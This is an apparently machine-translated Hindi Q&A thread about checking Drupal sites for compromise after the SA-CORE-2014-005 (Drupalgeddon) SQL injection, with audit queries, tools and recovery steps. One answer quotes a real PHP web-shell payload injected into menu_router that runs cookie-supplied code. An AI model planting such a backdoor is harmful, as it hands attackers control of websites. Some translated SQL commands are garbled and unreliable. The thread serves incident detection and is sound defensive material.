Drupal SA-CORE-2014-005 - अगर मेरे सर्वर / साइटों से समझौता किया गया था तो कैसे बताएं?

Question

मैंने Drupal SA-CORE-2014-005 के शोषण के समाधान के पैच विधि का उपयोग करके अपनी सभी साइटों को अपडेट किया। मैं सिर्फ रिपोर्ट पढ़ता हूं कि कल ही एक रूसी आईपी घुसपैठियों की ड्रुपल साइटों से कोई है।

https://www.drupal.org/SA-CORE-2014-005

मेरी मुख्य चिंताएं अब हैं:

• अगर मेरी साइटें सम्‍मिलित हैं तो मैं कैसे बताऊँ?
• मुझे अपनी अपाचे पहुंच लॉग में क्या पता लगाना चाहिए कि मेरी साइट पीड़ित थी या नहीं?
• अब तक ये हैकर्स शामिल साइटों पर क्या कर रहे हैं?

Comments

अब इसके लिए एक मॉड्यूल है drupal.org/project/drupalgeddon

— mikeytown2

क्या होगा अगर मेरे पास 100 ड्रुपल साइटों के लिए उपनाम सेटअप नहीं है? आपकी खोज के लिए कुछ सामान्य हैक हैं इसलिए हम जानते हैं कि किसके लिए क्या करना है?

— पाटोशी at ト

संबंधित: SA-CORE-2014-005 (Drupal 7.32) के लिए किस तरह के हमलों को रोकता है?

— unor

@duckx drupalgeddon मॉड्यूल में कोड की जाँच करें और आप उन सामान्य हैक को ढूंढ लेंगे; हम स्पष्ट कारणों से डेटाबेस में पूर्ण पहुंच के साथ दुर्भावनापूर्ण उपयोगकर्ता के लिए हर संभव परिवर्तन को सूचीबद्ध नहीं कर सकते। वे कोई भी परिवर्तन कर सकते हैं जो Drupal mysql उपयोगकर्ता के पास करने की अनुमति है, वह इस तरह का है। तो शाब्दिक रूप से यह सुनिश्चित करने का एकमात्र तरीका है कि आप किसी ज्ञात अच्छे संस्करण के विरुद्ध अपने वर्तमान डेटाबेस की तुलना करें। आप पुश करने के लिए है कि मज़बूती से, 100% सही रूप में, आपको बता देंगे या नहीं, अपनी साइट समझौता किया गया है एक बटन के लिए देख रहे हैं, तो आप सपना देख रहे हैं मुझे डर लग रहा :)

— क्लाइव

डकी: यदि आपके पास उपनाम स्थापित नहीं हैं और आपके पास 100 साइटें हैं, तो मैन्युअल रूप से उनसे निपटने के लिए उपनाम सेट करना आसान होगा? अपने आप को साइट की जड़ों और URL की एक सूची प्राप्त करें और आप इसे वहां से उपनामों के एक समूह में बना सकते हैं।

— क्रिस बर्गेस

Answer 1

यहां कुछ SQL क्वेरीज़ हैं जो व्यवस्थापक विशेषाधिकारों वाले उपयोगकर्ताओं की जांच करने के लिए आपकी साइट DB के विरुद्ध चलाए जा सकते हैं, और उनमें से कौन से साइट 15 अक्टूबर को एक्सेस किए गए हैं।

http://www.drupalden.co.uk/sql-queries-find-users-roles-admin-privileges-drupalgeddon-drupal-sa-core-2014-005

Comments

नमस्ते और Drupal जवाब में आपका स्वागत है। आप दिए गए पृष्ठ का एक छोटा सा सारांश प्रदान करके अपने उत्तर में सुधार कर सकते हैं।

— Wtower

Btw, यह 15 अक्टूबर के बाद बनाए गए उपयोगकर्ताओं के लिए जाँच करने के लिए अनुशंसित है created। यह उपयोगकर्ता तालिका से फ़ील्ड का उपयोग करता है । यह गारंटी नहीं है कि वह व्यक्ति जो SQL को इंजेक्ट करता है, फ़ील्ड के मान का सम्मान करेगा, जो इस चेक को काफी उपयोगी नहीं बनाता है। दरअसल, यह मुझे पता चला है कि नाम से आम उपयोगकर्ता इंजेक्शन drupaldev44 सप्ताह पहले जानबूझकर बनाया गया था। जहाँ तक दूसरी सिफारिश है, फिर से यह गारंटी नहीं है कि इंजेक्ट किया गया उपयोगकर्ता वास्तव में लॉग इन किया होगा।

— Wtower

Answer 2

यदि आप इस लेख को पढ़ रहे हैं और शोषण के एक महीने बाद एक Drupal 7 साइट की जांच करने की उम्मीद कर रहे हैं, तो आपकी साइट के बहुत पहले से ही हैक होने की संभावना है । आपका सबसे अच्छा शर्त है कि हमले शुरू होने से पहले बैकअप लेना और वहां से काम करना।

SA-CORE-2014-005 पर एक FAQ है ।

मैं कैसे बताऊं कि क्या मेरी साइटों से समझौता किया गया है?

यदि साइट्स से छेड़छाड़ की जाती है तो जल्दी से जाँच करने का एक तरीका ड्रुपाल्डेडन ड्रश कमांड के साथ है।

• https://www.drupal.org/project/drupalgeddon

अपने ~/.drushसाथ स्थापित करेंdrush dl drupalgeddon

फिर drush drupalgeddon-testपरीक्षण करने के लिए उपयोग करें। Drush aliases इसे आसान और त्वरित बनाते हैं।

यह उपकरण किसी शोषित साइट की पुष्टि कर सकता है, लेकिन यह गारंटी नहीं दे सकता कि आपकी साइट शोषित नहीं हुई। जब तक आप हमलों के शुरू होने से पहले उन्नत नहीं हो जाते, तब तक यहां "स्वास्थ्य का कोई साफ बिल" नहीं है।

---

साइट ऑडिट मॉड्यूल में Drupalgeddon के कुछ चेक शामिल हैं, और आपको बहुत अधिक उपयोगी इनपुट भी प्रदान करता है। मैं इसकी पुरजोर सलाह देता हूँ। (संपादित करें: अब वे एक साथ काम करते हैं - सुपर अच्छा!)

• http://drupal.org/project/site_audit

---

सुरक्षा समीक्षा Drupalgeddon हमलों के लिए जाँच नहीं करता है, लेकिन आपके टूलबेल में भी होने के लायक है।

• http://drupal.org/project/security_review

---

यदि आपका साइट कोडबेस www उपयोगकर्ता के लिए योग्य था, तो आप हैक किए गए मॉड्यूल का उपयोग करके संशोधित कोड की जांच कर सकते हैं। यह मॉड्यूल वह नहीं कर सकता जो आप उसके नाम के आधार पर सोचते हैं अकेले :)

• http://drupal.org/project/hacked

---

जबकि सभी समझौता साइटों की पहचान करने का कोई एक निश्चित तरीका नहीं है, ये उपकरण आपको सबसे सामान्य संकेतों की पहचान करने में मदद कर सकते हैं।

---

मुझे अपनी अपाचे पहुंच लॉग में क्या पता लगाना चाहिए कि मेरी साइट पीड़ित थी या नहीं?

आपके प्रवेश लॉग में अब तक बहुत सारे POST अनुरोध होंगे। जब तक आपने बग के अग्रिम में सभी पोस्ट डेटा लॉग करने का असामान्य कदम नहीं उठाया था, तो आपको यह बताने की जानकारी होने की संभावना नहीं है कि इनमें से कौन सा दुर्भावनापूर्ण था।

अब तक ये हैकर्स समझौता साइटों पर क्या कर रहे हैं?

कई रिपोर्ट कर रहे हैं कि उनकी साइटों को हैकर्स द्वारा पैच किया जा रहा है! एक हमलावर के रूप में, यह अच्छा समझ में आता है - आप नहीं चाहते कि आपकी नई अपहृत साइट अगले हमलावर द्वारा आपके नीचे से बाहर फेंक दी जाए :)

इसके अलावा, मुझे लगता है कि साइटों का उपयोग किया जा रहा है, जो भी मूल्यवान डेटा है उसे काटने के लिए उपयोग किया जा रहा है (हो सकता है कि कुछ क्रेडिट हड़पने के लिए, शायद शोषण के बाद लेन-देन का विवरण उठाएं) और स्पैम भेजने जैसे उबाऊ काम करें और विनम्र बॉटनेट दासों के रूप में काम करें। ओह, और अपहृत द्रुपल साइटों के हमलावर साम्राज्य का विस्तार करें। (क्षमा करें, मेरे पास देखने के लिए कोई हैक की गई साइट नहीं है।)

Comments

क्या आप स्पष्ट कर सकते हो? क्या कोई भी हमला हमेशा POST अनुरोध के साथ शुरू होगा? मैं किसी भी POSTS के लिए अपने लॉग की जांच कर रहा हूं। मैं आईपी 62.76.191.119 से एक के बाद देखा है जब मैं समझौता किया है।

— लांस हॉलैंड

मेरे पास एक साइट थी जो इस शोषण का शिकार थी और ऐसा लगता था कि हमलावरों ने इसका उपयोग सर्वर से टन स्पैम भेजने के लिए किया था।

— साइक्लोनोस्कोप

Answer 3

आम हमलों की कुछ जाँचें (यह एक विस्तृत सूची नहीं है, लेकिन अब तक जंगली में देखे गए कुछ हमले हैं):

• अपने उपयोगकर्ता नाम, ईमेल पता या पासवर्ड यह सुनिश्चित करने के लिए कि आप उनसे क्या उम्मीद करते हैं, अपने उपयोगकर्ता 1 खाते की जाँच करें। यदि संभव हो तो अनुमतियों के उच्च स्तर वाले किसी भी अन्य उपयोगकर्ता खातों की जांच करें।
• नए उपयोगकर्ता खातों की जाँच करें जो संदिग्ध दिखते हैं।
• अपने सिस्टम पर भूमिकाओं में परिवर्तन के लिए जाँच करें, उदाहरण के लिए किसी भी नई भूमिका या नामांकित भूमिकाएँ।
• अनुमति परिवर्तन के लिए जाँच करें। इसका सबसे महत्वपूर्ण पहलू यह सुनिश्चित करना है कि अनाम उपयोगकर्ता की भूमिका (या अन्य भूमिकाएं जो कोई भी खुद को प्राप्त करने के लिए साइन अप कर सकता है) उन्हें बढ़ी हुई पहुंच देने के लिए नहीं बदला गया है।
• नए कस्टम ब्लॉक की जाँच करें जिनमें दुर्भावनापूर्ण कोड हो सकता है।
• नए कस्टम नोड्स की जाँच करें जिनमें दुर्भावनापूर्ण कोड हो सकता है।
• अपने फ़ाइल सिस्टम की उन फ़ाइलों की जाँच करें जो वहाँ नहीं होनी चाहिए। यदि आप संस्करण नियंत्रण का उपयोग करते हैं तो यह आसान है क्योंकि आप यह देख सकते हैं कि कोई नई फाइलें हैं या नहीं।
• यदि उन्होंने दुर्भावनापूर्ण फ़ाइलें अपलोड की हैं, तो आप हिट के लिए अपने एक्सेस लॉग को अजीब फ़ाइल नामों से जांच सकते हैं, जिनसे आप अपरिचित हैं।

• दुर्भावनापूर्ण प्रविष्टियों के लिए अपने मेनू राउटर डेटाबेस तालिका की जाँच करें। उदाहरण के लिए (drupalgeddon मॉड्यूल / drush plugin on drupal.org पर इस तालिका की अधिक अच्छी तरह से जाँच करने के लिए एक अच्छी स्क्रिप्ट है):

  चयन करें * मेनू_रोज से जहां पहुंच_कालेबैक = 'file_put_contents';

• आप केवल अजीब दिखने वाली प्रविष्टियों के लिए अपने मेनू राउटर टेबल को ब्राउज़ कर सकते हैं।

कुछ चीजें हैकर्स करने की कोशिश कर रहे हैं:

• अपनी साइट पर php स्क्रिप्ट फ़ाइलों को रखो जो वे फिर एक ब्राउज़र में मारकर चला सकते हैं। ये स्क्रिप्ट कई तरह के दुर्भावनापूर्ण काम कर सकती हैं। यह दुर्भावनापूर्ण मेनू राउटर प्रविष्टियों को जोड़ने के माध्यम से प्राप्त किया जाता है।
• उनके लिए व्यवस्थापक उपयोगकर्ता खाते बनाएँ फिर अपनी साइट पर बुरा काम करने या अपनी साइट पर ले जाने के लिए उपयोग करें।
• उपयोगकर्ता 1 ईमेल पता बदलें ताकि वे फिर उस खाते के लिए पासवर्ड रीसेट कर सकें और उसे संभाल सकें।
• सार्वजनिक रूप से सुलभ उपयोगकर्ता भूमिकाओं पर अनुमतियाँ बदलें।
• ब्लॉक / नोड्स / आदि जोड़ें। इसमें दुर्भावनापूर्ण कोड हो सकता है। यदि आपके पास PHP फ़िल्टर सक्षम है तो यह और भी समस्या है।

दुर्भाग्य से वहाँ बहुत सारी चीजें हैं जो एक हमलावर आपके डेटाबेस में कर सकता है कि संभावनाओं की पूरी सूची देना बहुत कठिन है। वे ऐसी चीजें कर सकते हैं जो उन्हें आपकी साइट पर नियंत्रण दिलाने की कोशिश करें, या वे आपकी साइट को तोड़ सकते हैं लेकिन डेटाबेस टेबल या कॉलम आदि को छोड़ सकते हैं।

वे केवल साइट कॉन्फ़िगरेशन में बहुत छोटे बदलाव कर सकते हैं, जैसे कि आपकी साइट का नाम या ऐसा कुछ बदलना, जो दुनिया का अंत नहीं है, लेकिन अभी भी समस्याग्रस्त है।

मूल रूप से, कुछ भी जो आप अपने डेटाबेस में SQL कमांड चलाकर कर सकते थे, एक हमलावर सैद्धांतिक रूप से कर सकता था।

क्रिस बर्गेस के जवाब में वर्णित सभी मॉड्यूल इन चीजों की जांच करने में बहुत उपयोगी हैं।

Comments

आप 62.76.191.119 से टकरा गए होंगे। आमतौर पर ऐसा लगता है कि यह IP आपके docroot में menu_router और संभवतः आपके DB के लिए अन्य गंदा सामान के माध्यम से एक फ़ाइल रखने की कोशिश कर रहा है। आप drupal.org/node/2357241 पर टिप्पणियाँ पढ़ सकते हैं ।

— स्कोर

मुझे अब तक कोई चोट नहीं आई है, क्योंकि मेरी साइटों की अब तक की जांच से पता चला है। यह सिर्फ ओपी की मदद करने के लिए जानकारी है।

— रॉबी

मैं दुर्भावनापूर्ण प्रविष्टियों के लिए "अपने मेनू राउटर डेटाबेस तालिका की जाँच कैसे करूँगा?" एक सेंटो सर्वर पर im और मैं रूट है।

— Patoshiパトシ

आप डेटाबेस कमांड "SELECT * FROM menu_router" चला सकते हैं और फिर उन सभी के माध्यम से पता लगा सकते हैं जो जगह से बाहर दिखने वाली पंक्तियों की जांच करते हैं। मेरे जवाब में एक अधिक विशिष्ट कमांड का उल्लेख भी है जो एक विशिष्ट हमले के लिए दिखता है जो कि ज्ञात है और इसका उपयोग आपके सर्वर पर फाइलें अपलोड करने के लिए किया जाता है।

— rooby

IP 62.76.191.119 सुरक्षा अद्यतन जारी होने के एक दिन के भीतर मेरी साइटों की भेद्यता का फायदा उठाने की कोशिश करता है। मैंने अपनी सभी साइटों से प्रतिबंध लगा दिया। मैं बहुत भाग्यशाली था कि मैंने समय पर अपनी साइटों को अपग्रेड किया। यह अजीब था क्योंकि यह एक अल्फाबेटिक ऑर्डर पर मेरी साइट्स को हिट कर रहा था।

— cayerdis

Answer 4

मुझे लगता है कि मैं सलाह drupal.org के साथ जाऊंगा। " आपको इस धारणा के तहत आगे बढ़ना चाहिए कि प्रत्येक Drupal 7 वेबसाइट को तब तक समझौता किया गया जब तक कि अद्यतन नहीं किया गया या 15 अक्टूबर, 11:00 UTC से पहले पैच नहीं किया गया, वह घोषणा के 7 घंटे बाद है ।" जैसा कि बेवन ने इस टिप्पणी में कहा "ड्रुपल को अपडेट करना या पैच करना बैकडोर को ठीक नहीं करता है जो हमलावर ड्रुपल को अपडेट या पैच करने से पहले स्थापित करते हैं।"

यदि आप संक्रमित हो गए हैं और कैसे उबरने और रोकने के लिए विश्लेषण करने में आपकी मदद करने के लिए बेवन ने निम्नलिखित वर्कफ़्लो चार्ट भी बनाया है । हालाँकि, वह हर किसी से अपने मूल लेख पर जाने के लिए कहता है ताकि आप यह समझ सकें कि वर्कफ़्लो का नवीनतम संस्करण आपके पास है। साथ ही, एक्वाकिया उन हमलों और पैटर्न के बारे में एक दिलचस्प लेख बनाते हैं जो उन्होंने एक्विआ क्लाउड में अनुभव किए हैं

Answer 5

से उद्धरण: https://www.drupal.org/node/2357241#comment-9258955

यह उस फ़ाइल का एक उदाहरण है जो मेनू_उंटर टेबल access_callback कॉलम में डाला जाता है:

a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}

जैसा कि आप देख सकते हैं कि यह फ़ाइल मॉड्यूल / छवि / vzoh.php बनाने की कोशिश कर रहा है, लेकिन जब से मैंने केवल उन निर्देशिकाओं के अंदर अनुमतियाँ पढ़ी हैं, जिनके साथ php विफल रहता है।

आपके ड्रुपल निर्देशिका में खोज करने के लिए समान फाइल बनाने वाले लोगों की रिपोर्ट: https://www.drupal.org/node/2357241#comment-9260017

---

मैंने जो किया वह निम्न आदेश था:

ack --type = php 'php \ $ form'> hacked_searched_php_form1.txt

==================

से उद्धृत: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

लाइव सर्वर पर बदल गई फ़ाइलों को दिखाना: git स्टेटस

Menu_router के माध्यम से कोड निष्पादन के प्रयासों की तलाश: menu_router से * का चयन करें जहाँ access_callback = 'file_put_contents'

लाइव सर्वर पर कौन सी फाइलें हैं और संस्करण नियंत्रण में नहीं दिखा रहा है: diff -r docroot repo | grep docroot | grep 'केवल डॉकरॉट में'

फाइल्स डायरेक्टरी में PHP फाइल्स ढूंढना: ढूंढना। -पथ "* php"

जब कोई उपयोगकर्ता आपकी साइट पर लॉग इन करता है और उसकी सबसे हाल की पृष्ठ यात्रा के बीच समय की जाँच करता है: चयन करें (s.timestamp - u.login) / 60/60/24 AS days_since_login, u.uid सत्रों से इनर ज्वाइन करें s.uid = u.uid;

Answer 6

आज्ञाओं की एक बहुत अच्छी सूची यह बताने के लिए कि क्या आपको कंपेयर किया गया है।

http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon

Commands that help with auditing:

Showing files that have changed on the live server:

?
1
git status 
Looking for code execution attempts via menu_router:

?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:

?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:

?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:

?
1
find . -path "*php"
Looking for additional roles and users:

?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:

?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;


Commands that can help with recovery:

Apply the patch. Hotfix: (SA-CORE-2014-005)

?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.

?
1
truncate table sessions;
Updating passwords:

?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(rand()))));

Comments

अलग-अलग उत्तर देने के बजाय, शायद आपको पहले एक को संपादित करना चाहिए और अतिरिक्त जानकारी को जोड़ना चाहिए?

— साइक्लोनोस्कोप

Answer 7

आप देख सकते हैं कि इस ऑनलाइन टूल से आपकी वेबसाइट हैक हुई है या नहीं:

Drupal Check: The EngineHack

जाहिर है कि इसकी सीमाएँ हैं, लेकिन यह एक अच्छा शुरुआती बिंदु है।